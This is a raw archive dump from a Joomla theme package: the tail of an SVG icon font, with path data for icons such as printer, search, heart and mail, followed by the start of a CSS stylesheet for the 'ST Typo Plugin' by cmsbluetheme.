		C 228.435,94.749, 222.678,92.733, 216.765,90.515z" data-tags="bell, alarm, alert, notification" />
<glyph unicode="&#xe3ff;" d="M 33.6,227.155l 380.8,0 c 12.768,0, 10.685,13.619, 4.323,15.837C 412.362,245.21, 341.6,271.955, 329.28,271.955l-20.16,0 l0,67.2 L 138.88,339.155 l0-67.2 L 118.72,271.955 
		c-12.32,0-83.082-26.746-89.443-28.963C 22.915,240.774, 20.81,227.155, 33.6,227.155z M 418.88,202.515L 29.12,202.515 c-12.32,0-24.64-14.56-24.64-26.88l0-78.4 
		c0-12.32, 12.32-26.88, 24.64-26.88l 44.397,0 l-19.757-112l 340.48,0 l-19.757,112L 418.88,70.355 c 12.32,0, 24.64,14.56, 24.64,26.88l0,78.4 C 443.52,187.955, 431.2,202.515, 418.88,202.515z
		 M 98.56,3.155l 31.36,145.6l 188.16,0 l 31.338-145.6L 98.56,3.155 z" data-tags="printer" />
<glyph unicode="&#xe400;" d="M 383.376,319.398c-37.542,37.52-84.65,51.251-99.658,36.243L 223.328,295.229C 214.166,286.067, 206.17,255.402, 209.843,224.378l-182.806-182.829
		c-10.842-10.819-2.061-37.184, 19.622-58.867c 21.683-21.706, 48.070-30.464, 58.89-19.645l 182.806,182.806c 31.046-3.674, 61.712,4.323, 70.851,13.485
		l 60.413,60.413C 434.627,234.749, 420.896,281.856, 383.376,319.398z M 182.358,136.704C 174.003,145.037, 176.736,161.277, 188.384,172.947s 27.888,14.381, 36.243,6.048
		c 8.31-8.333, 5.622-24.573-6.048-36.243C 206.909,131.082, 190.691,128.371, 182.358,136.704z M 333.558,269.558c-29.075,29.075-36.378,67.424-33.802,70.022
		c 2.598,2.598, 39.446-6.227, 68.544-35.302c 29.075-29.075, 37.789-66.013, 35.28-68.522S 362.611,240.483, 333.558,269.558z" data-tags="flashlight, light" />
<glyph unicode="&#xe401;" d="M 393.008,37.517l-84.65,84.65c 12.768,20.989, 20.115,45.584, 20.115,71.949c0,76.518-66.326,142.845-142.867,142.845
		C 109.088,336.96, 47.040,274.912, 47.040,198.394c0-76.541, 66.304-142.867, 142.845-142.867c 25.446,0, 49.28,6.899, 69.776,18.883l 85.098-85.12
		c 8.355-8.333, 21.84-8.333, 30.15,0l 21.123,21.101C 404.342,18.723, 401.318,29.206, 393.008,37.517z M 89.69,198.394
		c0,52.976, 42.941,95.939, 95.917,95.939c 52.998,0, 100.218-47.219, 100.218-100.218s-42.941-95.939-95.939-95.939S 89.69,145.395, 89.69,198.394z" data-tags="search, magnifier, lookup, find" />
<glyph unicode="&#xe402;" d="M 358.4,339.2L 178.752,339.2 C 154.112,339.2, 134.4,319.488, 134.4,294.848L 134.4,115.2 c0-24.64, 20.16-44.8, 44.8-44.8l 179.2,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,294.4 C 403.2,319.040, 383.040,339.2, 358.4,339.2z M 358.4,115.2L 179.2,115.2 L 179.2,294.4 l 179.2,0 L 358.4,115.2 z M 89.6,160L 44.8,160 l0-134.4 
		c0-24.64, 20.16-44.8, 44.8-44.8l 134.4,0 l0,44.8 L 89.6,25.6 L 89.6,160 z" data-tags="popup, popout, new window" />
<glyph unicode="&#xe403;" d="M 420.448,153.28l-179.738,179.894c-9.184,9.542-24.214,9.542-33.398,0L 27.552,153.28c-9.206-9.52-5.779-17.338, 7.616-17.338l 37.475,0 l0-138.163 
		c0-9.968, 0.426-18.122, 18.458-18.122l 87.248,0 l0,138.611 l 91.28,0 l0-138.611 l 91.594,0 c 13.754,0, 14.134,8.131, 14.134,18.122l0,138.163 l 37.453,0 
		C 426.182,135.942, 429.632,143.738, 420.448,153.28z" data-tags="house, home, building" />
<glyph unicode="&#xe404;" d="M 110.118,298.813c-36.064,0-65.318-30.083-65.318-67.2s 29.254-67.2, 65.318-67.2c 65.296,0, 21.773-129.92-65.318-129.92l0-31.338 
		C 200.211,3.155, 261.117,298.813, 110.118,298.813z M 298.256,298.813c-36.064,0-65.318-30.083-65.318-67.2s 29.254-67.2, 65.318-67.2c 65.296,0, 21.773-129.92-65.318-129.92
		l0-31.338 C 388.371,3.155, 449.277,298.813, 298.256,298.813z" data-tags="quote, rdquo" />
<glyph unicode="&#xe405;" d="M 358.4,316.8L 89.6,316.8 C 64.96,316.8, 44.8,296.64, 44.8,272l0-156.8 c0-24.64, 20.16-44.8, 44.8-44.8l 89.6,0 l 89.6-67.2l0,67.2 l 89.6,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,272 C 403.2,296.64, 383.040,316.8, 358.4,316.8z" data-tags="comment, bubble, chat, talk, discussion, conversation" />
<glyph unicode="&#xe406;" d="M 129.92,110.72L 129.92,249.6 L 44.8,249.6 C 20.16,249.6,0,229.44,0,204.8l0-134.4 c0-24.64, 20.16-44.8, 44.8-44.8l 22.4,0 l0-67.2 l 67.2,67.2l 112,0 c 24.64,0, 44.8,20.16, 44.8,44.8l0,40.768 c-1.434-0.314-2.957-0.47-4.48-0.47L 129.92,110.698 
		z M 403.2,361.6L 201.6,361.6 C 176.96,361.6, 156.8,341.44, 156.8,316.8l0-179.2 l 156.8,0 l 67.2-67.2l0,67.2 l 22.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,316.8 C 448,341.44, 427.84,361.6, 403.2,361.6z" data-tags="chat, comments, talk, bubbles, conversation, discussion" />
<glyph unicode="&#xe407;" d="M 142.307,100.909c 2.934-7.952-79.296-81.402-31.315-140.918c 11.245-13.933, 49.302,66.64, 103.376,103.13C 244.182,83.235, 313.6,126.086, 313.6,149.741
	l0,153.216 C 313.6,331.45, 203.549,361.6, 119.885,361.6C 89.219,361.6, 44.8,169.52, 44.8,138.989C 44.8,108.368, 139.35,108.906, 142.307,100.909z M 336,103.059c 14.739,0, 67.2,8.938, 67.2,69.933
	L 403.2,281.565 c0,60.973-52.461,67.693-67.2,67.693c-14.717,0, 22.4-12.835, 22.4-50.602l0-142.755 C 358.4,116.298, 321.283,103.059, 336,103.059z" data-tags="thumbs down, dislike, disagree, rate" />
<glyph unicode="&#xe408;" d="M 305.715,219.069c-2.957,7.952, 79.296,81.424, 31.315,140.941c-11.245,13.91-49.302-66.662-103.376-103.13C 203.84,236.765, 134.4,193.936, 134.4,170.259l0-153.238 
	C 134.4-11.45, 244.474-41.6, 328.138-41.6C 358.803-41.6, 403.2,150.48, 403.2,181.011C 403.2,211.632, 308.672,211.094, 305.715,219.069z M 112,216.941c-14.717,0-67.2-8.96-67.2-69.933
	l0-108.595 c0-60.973, 52.483-67.67, 67.2-67.67s-22.4,12.813-22.4,50.602L 89.6,164.099 C 89.6,203.702, 126.717,216.941, 112,216.941z" data-tags="thumbs up, like, rate, agree, approve" />
<glyph unicode="&#xe409;" d="M 421.12,206.547l-143.651,0 L 223.978,357.12L 170.509,206.547L 26.88,206.547 l 117.174-88.435l-41.888-155.232l 121.811,93.050l 121.811-93.050l-41.888,155.232L 421.12,206.547z
	 M 223.978,99.878l-67.469-56.022l 27.821,79.789l-63.862,51.52l 78.87-2.24l 24.618,90.496l 24.64-90.496l 78.87,2.24l-63.862-51.52l 27.843-79.789L 223.978,99.878z
	" data-tags="star, favorite, rate, bookmark" />
<glyph unicode="&#xe40a;" d="M 224,357.12L 277.491,206.547L 421.12,206.547L 303.923,118.112L 345.811-37.12L 224,55.93L 102.189-37.12L 144.077,118.112L 26.88,206.547L 170.509,206.547 	z" data-tags="star, favorite, rate, bookmark" />
<glyph unicode="&#xe40b;" d="M 385.034,291.040c-37.453,34.362-98.179,34.362-135.632,0L 224,267.699L 198.576,291.040c-37.453,34.362-98.157,34.362-135.61,0
	c-42.134-38.685-42.134-101.338,0-140.022L 224,3.2l 161.034,147.818C 427.168,189.68, 427.168,252.355, 385.034,291.040z M 361.2,174L 224,46.006L 86.822,174
	c-13.843,12.678-19.197,29.389-19.197,47.040c0,17.606, 3.091,32.077, 16.934,44.778C 96.768,277.040, 113.187,283.2, 130.749,283.2
	c 17.584,0, 34.003-10.662, 46.211-21.885L 224,220.413L 271.040,261.315C 283.248,272.538, 299.645,283.2, 317.229,283.2s 34.003-6.16, 46.234-17.382
	c 13.821-12.701, 16.89-27.171, 16.934-44.778C 380.397,203.411, 375.021,186.678, 361.2,174z" data-tags="heart, love, like, favorite" />
<glyph unicode="&#xe40c;" d="M 385.034,291.018c-37.453,34.384-98.179,34.384-135.632,0L 224,267.677L 198.576,291.018c-37.453,34.384-98.157,34.384-135.61,0
		c-42.134-38.662-42.134-101.338,0-140.022L 224,3.2l 161.034,147.795C 427.168,189.68, 427.168,252.355, 385.034,291.018z" data-tags="heart, love, like, favorite" />
<glyph unicode="&#xe40d;" d="M 152.32,160c0-39.581, 32.099-71.68, 71.68-71.68s 71.68,32.122, 71.68,71.68c0,39.581-32.099,71.68-71.68,71.68
	S 152.32,199.581, 152.32,160z M 101.45,186.88C 113.747,243.238, 163.946,285.44, 224,285.44c 34.653,0, 65.99-14.045, 88.682-36.736c 10.506-10.506, 27.53-10.506, 38.035,0
	c 10.483,10.506, 10.483,27.53,0,38.013C 318.282,319.13, 273.482,339.2, 224,339.2C 143.763,339.2, 75.846,286.47, 53.021,213.76L0,213.76 L0,160 l 71.68,0 
	C 94.058,160, 99.546,178.211, 101.45,186.88z M 376.32,160c-22.355,0-27.866-18.211-29.77-26.88C 334.253,76.762, 284.077,34.56, 224,34.56
	c-34.63,0-65.99,14.022-88.682,36.736c-10.506,10.506-27.53,10.506-38.013,0s-10.506-27.53,0-38.013C 129.718,0.87, 174.518-19.2, 224-19.2
	c 80.237,0, 148.154,52.73, 170.979,125.44L 448,106.24 L 448,160 L 376.32,160 z" data-tags="sharable, share, spread" />
<glyph unicode="&#xe40e;" d="M 336,92.8c-15.411,0-29.523-5.219-40.858-13.933l-116.906,70.134C 178.797,152.586, 179.2,156.259, 179.2,160c0,3.763-0.403,7.414-0.963,10.998
		l 116.906,70.134C 306.477,232.419, 320.589,227.2, 336,227.2c 37.094,0, 67.2,30.083, 67.2,67.2s-30.106,67.2-67.2,67.2s-67.2-30.083-67.2-67.2c0-3.741, 0.403-7.414, 0.986-10.998
		L 152.88,213.245C 141.546,221.981, 127.411,227.2, 112,227.2c-37.117,0-67.2-30.083-67.2-67.2c0-37.094, 30.083-67.2, 67.2-67.2c 15.411,0, 29.546,5.219, 40.88,13.933l 116.906-70.134
		C 269.203,33.014, 268.8,29.363, 268.8,25.6c0-37.094, 30.106-67.2, 67.2-67.2s 67.2,30.106, 67.2,67.2S 373.094,92.8, 336,92.8z" data-tags="share, spread" />
<glyph unicode="&#xe40f;" d="M 224,352.64c-106.378,0-192.64-86.262-192.64-192.64c0-106.4, 86.262-192.64, 192.64-192.64c 106.4,0, 192.64,86.24, 192.64,192.64C 416.64,266.378, 330.4,352.64, 224,352.64z
		 M 239.68,3.984L 239.68,90.56 L 208.32,90.56 l0-86.576 c-74.077,7.347-132.966,66.259-140.336,140.336L 154.56,144.32 L 154.56,175.68 L 67.984,175.68 C 75.354,249.757, 134.243,308.669, 208.32,316.016L 208.32,229.44 l 31.36,0 
		L 239.68,316.016 c 74.099-7.347, 132.989-66.259, 140.336-140.336L 293.44,175.68 l0-31.36 l 86.576,0 C 372.669,70.243, 313.779,11.331, 239.68,3.984z" data-tags="target, cross, goal" />
<glyph unicode="&#xe410;" d="M 441.706,377.728c-15.232,15.254-29.792,0.829-79.184-22.893C 230.362,291.286,0,162.218,0,162.218l 197.904-28.291L 226.195-64
		c0,0, 129.091,230.362, 192.618,362.522C 442.579,347.936, 456.96,362.451, 441.706,377.728z M 394.24,326.79l-143.763-266.941l-14.582,121.318L 394.24,326.79z" data-tags="location, compass" />
<glyph unicode="&#xe411;" d="M 221.133,375.018C 102.368,373.427, 7.392,275.875, 8.982,157.133c 1.59-118.765, 99.142-213.741, 217.907-212.173
		c 118.742,1.613, 213.741,99.142, 212.15,217.907C 437.405,281.632, 339.853,376.608, 221.133,375.018z M 226.262-9.747c-93.744-1.277-170.755,73.718-172.032,167.485
		C 52.998,251.482, 127.971,328.493, 221.738,329.747c 93.744,1.254, 170.755-73.718, 172.010-167.485S 320.029-8.47, 226.262-9.747z M 122.147,59.11
		c0,0, 102.346,14.045, 146.003,57.702c 43.658,43.658, 57.702,146.003, 57.702,146.003S 223.53,248.749, 179.872,205.114C 136.214,161.434, 122.147,59.11, 122.147,59.11z
		 M 201.936,183.027C 220.282,201.395, 255.36,214.41, 285.466,222.496c-8.086-30.038-21.168-65.386-39.402-83.597c-12.186-12.186-31.942-12.186-44.128,0
		C 189.728,151.085, 189.728,170.842, 201.936,183.027z" data-tags="compass, location" />
<glyph unicode="&#xe412;" d="M 440.899,271.462l-104.698,65.565c-4.637,2.912-10.438,2.912-15.075,0L 224,276.189L 126.874,337.005c-4.637,2.912-10.438,2.912-15.075,0
		L 7.101,271.462C 2.71,268.707,0,263.712,0,258.358l0-262.237 c0-5.51, 2.822-10.618, 7.437-13.328s 10.237-2.643, 14.762,0.202l 97.126,60.838l 97.126-60.838
		c 4.637-2.912, 10.438-2.912, 15.098,0l 97.126,60.838l 97.126-60.838C 428.109-18.461, 430.73-19.2, 433.35-19.2c 2.486,0, 4.973,0.672, 7.213,1.994
		C 445.155-14.496, 448-9.389, 448-3.878L 448,258.358 C 448,263.712, 445.29,268.707, 440.899,271.462z M 104.675,70.333L 29.299,23.136L 29.299,249.69 l 75.376,47.197L 104.675,70.333 z
		 M 209.35,23.136l-75.376,47.197L 133.974,296.886 l 75.376-47.197L 209.35,23.136 z M 314.026,70.333l-75.354-47.197L 238.672,249.69 l 75.354,47.197L 314.026,70.333 z M 418.678,23.136
		l-75.354,47.197L 343.325,296.886 l 75.354-47.197L 418.678,23.136 z" data-tags="map, location, address, directions" />
<glyph unicode="&#xe413;" d="M 224,339.2C 162.131,339.2, 112,289.046, 112,227.2c0-106.938, 112-246.4, 112-246.4s 112,139.462, 112,246.4C 336,289.046, 285.869,339.2, 224,339.2z M 224,165.376c-33.398,0-60.48,27.082-60.48,60.48
		s 27.082,60.48, 60.48,60.48s 60.48-27.082, 60.48-60.48S 257.398,165.376, 224,165.376z" data-tags="location, map marker, marker, pin" />
<glyph unicode="&#xe414;" d="M 336,30.080L 44.8,30.080 l0,201.6 l 58.128,0 c0,0, 15.434,20.070, 48.608,44.8L 22.4,276.48 c-12.365,0-22.4-10.035-22.4-22.4l0-246.4 c0-12.387, 10.035-22.4, 22.4-22.4l 336,0 c 12.387,0, 22.4,10.013, 22.4,22.4l0,83.91 
		l-44.8-36.848L 336,30.080 z M 299.309,185.76l0-79.52 L 448,222.742L 299.309,334.72l0-70.112 C 118.72,264.586, 118.72,86.080, 118.72,86.080C 169.837,170.035, 201.286,185.76, 299.309,185.76z" data-tags="export, share, outside" />
<glyph unicode="&#xe415;" d="M 403.2,339.2L 44.8,339.2 C 20.16,339.2,0,319.040,0,294.4l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,294.4 C 448,319.040, 427.862,339.2, 403.2,339.2z M 403.2,25.6L 44.8,25.6 L 44.8,294.4 l 358.4,0 L 403.2,25.6 z M 201.6,112.96L 89.6,112.96 
		L 89.6,72.64 l 112,0 L 201.6,112.96 z M 201.6,180.16L 89.6,180.16 l0-40.32 l 112,0 L 201.6,180.16 z M 201.6,247.36L 89.6,247.36 l0-40.32 l 112,0 L 201.6,247.36 z M 356.16,104c0,0-38.080,9.946-38.080,29.523c0,18.637, 24.662,26.477, 24.662,64.557
		c0,30.912-9.408,49.28-40.342,49.28s-40.32-18.346-40.32-49.28c0-38.080, 24.64-45.92, 24.64-64.557c0-19.578-38.058-29.523-38.058-29.523C 246.4,104, 246.4,72.64, 246.4,72.64
		l 112,0 C 358.4,72.64, 358.4,104, 356.16,104z" data-tags="vcard, card" />
<glyph unicode="&#xe416;" d="M 277.245,60.365C 221.446,80.48, 203.616,97.459, 203.616,133.814c0,21.818, 17.046,14.694, 24.528,54.656c 3.114,16.576, 18.166,0.269, 21.011,38.102
		c0,15.075-8.198,18.838-8.198,18.838s 4.189,22.333, 5.802,39.491C 248.774,306.317, 234.259,361.6, 156.8,361.6S 64.826,306.317, 66.842,284.902
		c 1.635-17.181, 5.824-39.491, 5.824-39.491S 64.445,241.67, 64.445,226.573c 2.89-37.834, 17.942-21.526, 21.011-38.102
		c 7.504-39.962, 24.55-32.838, 24.55-54.656c0-36.355-17.853-53.334-73.651-73.45c-6.72-2.397-22.736-6.16-36.355-12.051L0-41.6 l 358.4,0 
		c0,0,0,33.13,0,47.152S 333.245,40.182, 277.245,60.365z M 380.8,182.4L 380.8,249.6 l-44.8,0 l0-67.2 l-67.2,0 l0-44.8 l 67.2,0 l0-67.2 l 44.8,0 l0,67.2 l 67.2,0 L 448,182.4 L 380.8,182.4 z" data-tags="user-add" />
<glyph unicode="&#xe417;" d="M 448-37.12c0,0-0.874,84.829-6.070,93.61c-7.728,13.104-25.67,22.086-59.002,36.019c-33.219,13.888-43.859,25.626-43.859,50.691
		c0,15.075, 10.147,10.147, 14.605,37.722c 1.837,11.446, 10.797,0.202, 12.522,26.298c0,10.416-4.883,13.014-4.883,13.014s 2.464,15.411, 3.45,27.261
		c 1.21,14.784-7.459,52.931-53.581,52.931s-54.746-38.17-53.558-52.931c 0.963-11.85, 3.427-27.261, 3.427-27.261s-4.883-2.598-4.883-13.014
		c 1.725-26.118, 10.685-14.874, 12.544-26.298c 4.435-27.574, 14.582-22.646, 14.582-37.722c0-17.046-4.928-27.933-18.525-37.498
		c 72.576-36.333, 82.32-43.747, 82.32-76.227L 347.088-37.12 L 448-37.12 z M 229.018,79.92c-44.33,18.502-58.464,34.138-58.464,67.581c0,20.070, 13.53,13.53, 19.466,50.31
		c 2.442,15.254, 14.426,0.246, 16.688,35.056c0,13.888-6.518,17.338-6.518,17.338s 3.315,20.541, 4.614,36.355C 206.416,306.227, 194.858,357.12, 133.37,357.12
		c-61.488,0-73.024-50.87-71.411-70.56c 1.299-15.814, 4.592-36.355, 4.592-36.355S 60.054,246.755, 60.054,232.867
		c 2.307-34.832, 14.246-19.824, 16.71-35.056c 5.936-36.781, 19.466-30.218, 19.466-50.31c0-33.443-14.179-49.078-58.464-67.581
		C 24.259,74.275,0,65.517,0,44.506L0-37.12 l 311.226,0 c0,0,0,48.272,0,61.174C 311.226,43.251, 273.437,61.328, 229.018,79.92z" data-tags="users, group, team, people" />
<glyph unicode="&#xe418;" d="M 331.968,60.365c-55.216,20.115-72.867,37.094-72.867,73.45c0,21.818, 16.867,14.694, 24.259,54.656c 3.069,16.576, 17.965,0.269, 20.832,38.102
		c0,15.075-8.131,18.838-8.131,18.838s 4.144,22.333, 5.757,39.491C 303.789,306.317, 289.453,361.6, 212.8,361.6C 136.17,361.6, 121.789,306.317, 123.805,284.902
		C 125.418,267.744, 129.562,245.411, 129.562,245.411S 121.408,241.67, 121.408,226.573c 2.845-37.834, 17.741-21.526, 20.81-38.102
		c 7.414-39.962, 24.282-32.838, 24.282-54.656c0-36.355-17.651-53.334-72.867-73.45c-55.418-20.16-91.392-40.746-91.392-54.79c0-14.022,0-47.152,0-47.152
		l 210.56,0 l 210.56,0 c0,0,0,33.13,0,47.152C 423.36,19.597, 387.363,40.182, 331.968,60.365z" data-tags="user, group, profile, avatar, persona" />
<glyph unicode="&#xe419;" d="M 263.76,115.469l0-97.597 L 425.6,167.728L 263.76,312.32l0-86.598 C 67.2,225.722, 22.4,7.68, 22.4,7.68C 78.019,106.016, 157.069,115.469, 263.76,115.469z" data-tags="forward, arrow, right" />
<glyph unicode="&#xe41a;" d="M 161.84,252.288L 161.84,312.32 L0,167.728l 161.84-149.878l0,62.25 L 67.2,167.728L 161.84,252.288z M 273.84,225.722L 273.84,312.32 L 112,167.728l 161.84-149.878l0,97.619 
		c 73.763,0, 118.541-9.453, 174.16-107.789C 448,7.68, 439.779,225.722, 273.84,225.722z" data-tags="reply-all, first, arrow, left" />
<glyph unicode="&#xe41b;" d="M 425.6,7.68c0,0-44.8,218.019-241.36,218.019L 184.24,312.32 L 22.4,167.728l 161.84-149.878l0,97.619 C 290.931,115.469, 369.981,106.016, 425.6,7.68z" data-tags="reply, undo, arrow, left, back, previous" />
<glyph unicode="&#xe41c;" d="M 433.194,170.237c-8.803,9.341-51.162,50.893-70.538,69.866c-5.958,5.802-14.47,9.498-23.363,9.498c-8.87,0-115.27,0-115.27,0
	s-106.4,0-115.293,0S 91.302,245.882, 85.366,240.080c-19.376-18.973-61.779-60.525-70.56-69.866c-10.954-11.648-16.957-20.944-14.090-32.458l 12.566-68.858
	c 2.845-11.514, 15.456-20.944, 28.022-20.944l 365.389,0 c 12.566,0, 25.178,9.43, 28.022,20.944l 12.589,68.858C 450.15,149.27, 444.147,158.589, 433.194,170.237
	z M 314.675,155.318c-2.285,0-4.323-1.165-5.354-2.979l-18.301-45.606L 157.002,106.733 l-18.301,45.606c-1.008,1.814-3.091,2.979-5.354,2.979L 53.939,155.318 
	l 45.718,51.722l 248.73,0 l 45.696-51.722L 314.675,155.318 z" data-tags="drawer, box, inbox, archive" />
<glyph unicode="&#xe41d;" d="M 111.126-64c-29.926,0-57.949,12.678-78.198,32.95c-39.2,39.2-50.154,107.654, 4.816,162.624C 69.978,163.763, 199.002,292.787, 263.402,357.187
		c 22.87,22.87, 51.946,31.696, 79.811,24.214c 27.35-7.302, 49.795-29.725, 57.12-57.098c 7.459-27.866-1.389-56.963-24.237-79.811l-215.757-215.779
		c-12.32-12.32-26.23-19.622-40.23-21.078c-13.843-1.456-27.059,3.002-36.333,12.253c-16.8,16.778-19.174,48.362, 8.736,76.25l 151.536,151.581
		c 6.227,6.205, 16.33,6.205, 22.557,0c 6.227-6.227, 6.227-16.33,0-22.557l-151.558-151.558c-13.104-13.104-14.314-25.626-8.736-31.203
		c 2.442-2.419, 6.16-3.539, 10.438-3.091c 6.563,0.694, 14.045,4.95, 21.034,11.939l 215.757,215.757c 14.806,14.806, 20.474,32.211, 15.971,49.034
		c-4.435,16.554-18.010,30.128-34.563,34.563c-16.822,4.502-34.227-1.187-49.034-15.971C 221.536,270.23, 92.512,141.206, 60.301,109.018
		c-42.022-42.022-31.965-90.384-4.838-117.533c 27.149-27.126, 75.51-37.206, 117.555,4.838L 398.653,221.936c 6.205,6.227, 16.33,6.227, 22.534,0
		c 6.227-6.227, 6.227-16.33,0-22.534L 195.552-26.234C 168.963-52.845, 139.216-64, 111.126-64z" data-tags="paperclip, attachment" />
<glyph unicode="&#xe41e;" d="M 95.29-58.669c 6.854,22.422, 17.248,54.006, 31.158,99.702c 60.614,9.789, 85.702-7.818, 124.208,62.362
	c-31.248-9.766-68.925,18.122-66.886,30.195c 2.016,12.096, 87.651-8.714, 143.696,72.531c-70.65-15.882-93.274,19.107-84.157,24.394
	c 21.034,12.208, 83.485,5.062, 116.771,38.147c 17.158,17.024, 25.178,58.442, 18.211,73.226c-8.4,17.83-59.517,44.442-87.696,41.955
	c-28.179-2.509-72.374-109.514-85.478-108.662S 189.392,323.094, 212.262,366.864c-24.125-10.886-68.32-44.778-82.186-73.741
	c-25.827-53.894, 2.419-177.475-6.63-181.888c-9.072-4.39-39.558,56.739-48.653,84.448c-12.432-42.47-12.723-85.030, 23.61-141.568
	c-13.709-37.094-21.19-79.789-22.333-101.494C 75.533-64.762, 92.266-68.48, 95.29-58.669z" data-tags="feather, write, blog, quill, edit" />
<glyph unicode="&#xe41f;" d="M 370.966,306.989c-32.301,32.323-56.56,27.485-56.56,27.485L 201.219,221.286L 71.904,91.971L 49.28-14.72l 106.691,22.624l 129.315,129.315l 113.165,113.165
		C 398.451,250.384, 403.312,274.643, 370.966,306.989z M 149.61,20.739l-36.355-7.84c-3.517,6.563-7.75,13.126-15.478,20.877
		c-7.728,7.728-14.314,11.939-20.877,15.456l 7.862,36.378l 10.506,10.506c0,0, 19.802-0.403, 42.134-22.736c 22.355-22.355, 22.758-42.157, 22.758-42.157
		L 149.61,20.739z" data-tags="pencil, write, blog, edit, save" />
<glyph unicode="&#xe420;" d="M 418.746,324.976C 411.062,322.266, 30.755,188.269, 23.274,185.626c-6.362-2.24-7.795-7.728-0.224-10.73
	c 8.982-3.606, 85.030-34.070, 85.030-34.070L 108.058,140.826 l 50.422-20.205c0,0, 242.749,178.282, 246.042,180.678c 3.293,2.419, 7.123-2.128, 4.726-4.726
	c-2.397-2.621-176.31-190.714-176.31-190.714c-0.022,0-0.022,0-0.022,0l-10.125-11.29l 13.418-7.213l0,0c0,0, 104.16-56.067, 111.574-60.077
	c 6.496-3.494, 14.963-0.582, 16.845,7.504c 2.218,9.542, 63.728,274.669, 65.094,280.538C 431.514,323.005, 426.451,327.686, 418.746,324.976z M 158.032-0.429
	c0-5.533, 3.114-7.056, 7.414-3.158c 5.6,5.107, 63.818,57.344, 63.818,57.344l-71.232,36.87L 158.032-0.429 z" data-tags="paperplane, travel, plane, airplane" />
<glyph unicode="&#xe421;" d="M 35.706,265.594c 10.931-5.891, 162.378-87.226, 168.022-90.25C 209.35,172.32, 216.653,170.864, 224,170.864c 7.37,0, 14.672,1.456, 20.294,4.502
		c 5.645,3.024, 157.069,84.358, 168,90.25C 423.248,271.485, 433.597,289.92, 413.504,289.92L 34.518,289.92 C 14.426,289.92, 24.752,271.485, 35.706,265.594z M 416.931,220.794
		c-12.432-6.496-165.021-86.262-172.637-90.25S 231.37,126.042, 224,126.042c-7.347,0-12.656,0.515-20.272,4.502S 43.501,214.32, 31.091,220.794
		C 22.333,225.363, 22.4,220.010, 22.4,215.888c0-4.122,0-164.304,0-164.304C 22.4,42.176, 34.922,30.080, 44.621,30.080l 358.781,0 c 9.722,0, 22.198,12.096, 22.198,21.482
		c0,0,0,160.182,0,164.304C 425.6,220.010, 425.69,225.363, 416.931,220.794z" data-tags="mail, email, message, letter, envelope, contact" />
<glyph unicode="&#xe422;" d="M 190.4,361.6L 170.262,361.6 C 165.312,361.6, 161.28,357.568, 161.28,352.64l0-85.12 L 82.074,267.52 c-3.696,0-8.288-0.851-12.678-2.195
		C 64.96,263.958, 60.726,262.077, 57.702,260.016l-53.2-36.512C 1.501,221.443,0,218.733,0,216s 1.501-5.443, 4.502-7.504l 53.2-36.512
		C 60.726,169.923, 64.96,168.042, 69.395,166.675C 73.786,165.331, 78.378,164.48, 82.074,164.48L 161.28,164.48 l0-197.12 c0-4.95, 4.032-8.96, 8.96-8.96L 190.4-41.6 
		c 4.95,0, 8.96,4.032, 8.96,8.96L 199.36,352.64 C 199.36,357.568, 195.35,361.6, 190.4,361.6z M 443.498,268.282l-53.2,36.512c-3.002,2.061-7.235,3.942-11.67,5.309
		C 374.214,311.469, 369.622,312.32, 365.926,312.32L 212.8,312.32 l 17.942-103.040l 135.184,0 c 3.696,0, 8.288,0.851, 12.701,2.195s 8.669,3.248, 11.67,5.286l 53.2,36.512
		C 446.522,255.357, 448,258.067, 448,260.8S 446.522,266.243, 443.498,268.282z" data-tags="directions, address, guide, location" />
<glyph unicode="&#xe423;" d="M 345.005,61.373l-58.822,168.806c-16.195,46.458-66.461,72.128-114.083,59.45L 127.837,375.51C 123.827,383.283, 114.442,386.262, 106.848,382.163
		C 99.254,378.042, 96.342,368.41, 100.352,360.637l 43.21-83.843c-34.429-22.848-52.326-66.147-40.992-106.915l 47.936-172.39
		c 13.485-48.451, 68.992-73.136, 124.79-56.067C 330.378-39.248, 361.558,13.93, 345.005,61.373z M 199.338,184.125C 183.008,178.771, 165.491,187.978, 160.25,204.755
		C 155.008,221.51, 164.013,239.453, 180.365,244.806c 16.352,5.376, 33.869-3.853, 39.11-20.608S 215.712,189.501, 199.338,184.125z" data-tags="mouse, pc, computer" />
<glyph unicode="&#xe424;" d="M 310.845,384L 137.155,384 C 112,384, 91.437,363.437, 91.437,338.282l0-356.563 C 91.437-43.414, 112-64, 137.155-64l 173.69,0 c 25.155,0, 45.718,20.586, 45.718,45.718
		L 356.563,338.282 C 356.563,363.437, 336,384, 310.845,384z M 224-45.722c-17.651,0-31.987,10.237-31.987,22.87s 14.336,22.87, 31.987,22.87
		c 17.674,0, 31.987-10.237, 31.987-22.87S 241.674-45.722, 224-45.722z M 319.984,22.867L 127.994,22.867 L 127.994,324.573 l 191.99,0 L 319.984,22.867 z" data-tags="mobile, phone, contact" />
<glyph unicode="&#xe425;" d="M 251.53,132.47c-35.459-35.482-76.541-69.395-92.781-53.133c-23.251,23.229-37.565,43.478-88.816,2.307s-11.894-68.634, 10.64-91.168
		c 25.984-25.962, 122.842-1.366, 218.602,94.371c 95.715,95.738, 120.355,192.618, 94.349,218.602c-22.512,22.534-49.952,61.869-91.146,10.64
		s-20.944-65.565, 2.307-88.816C 320.88,209.011, 286.989,167.952, 251.53,132.47z" data-tags="phone, contact, call, telephone, support" />
<glyph unicode="&#x20;" horiz-adv-x="224" />
</font></defs></svg>PK!B1=H<�<�bluetheme/assets/style.cssnu&1i�/**
 * ------------------------------------------------------------------------
 * ST Typo Plugin for J25 & J30
 * ------------------------------------------------------------------------
 * Copyright (C) 2013 cmsbluetheme All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: cmsbluetheme
 * Author Email: cmsbluetheme.com
 * Websites: http://www.cmsbluetheme.com
 * ------------------------------------------------------------------------
 */
#st-typo-head {
	background: #fff;
	padding: 0;
}

ul#st-typo-nav {
	margin: 0;
	padding: 0;
}

ul#st-typo-nav li {
	margin: 0 5px 0 0;
	padding: 0;
	display: block;
	float: left;
}

ul#st-typo-nav li a {
	display: block;
	padding: 30px 10px 10px;
	color: #666;
	text-transform: uppercase;
	letter-spacing: 1px;
	text-decoration: none;
}

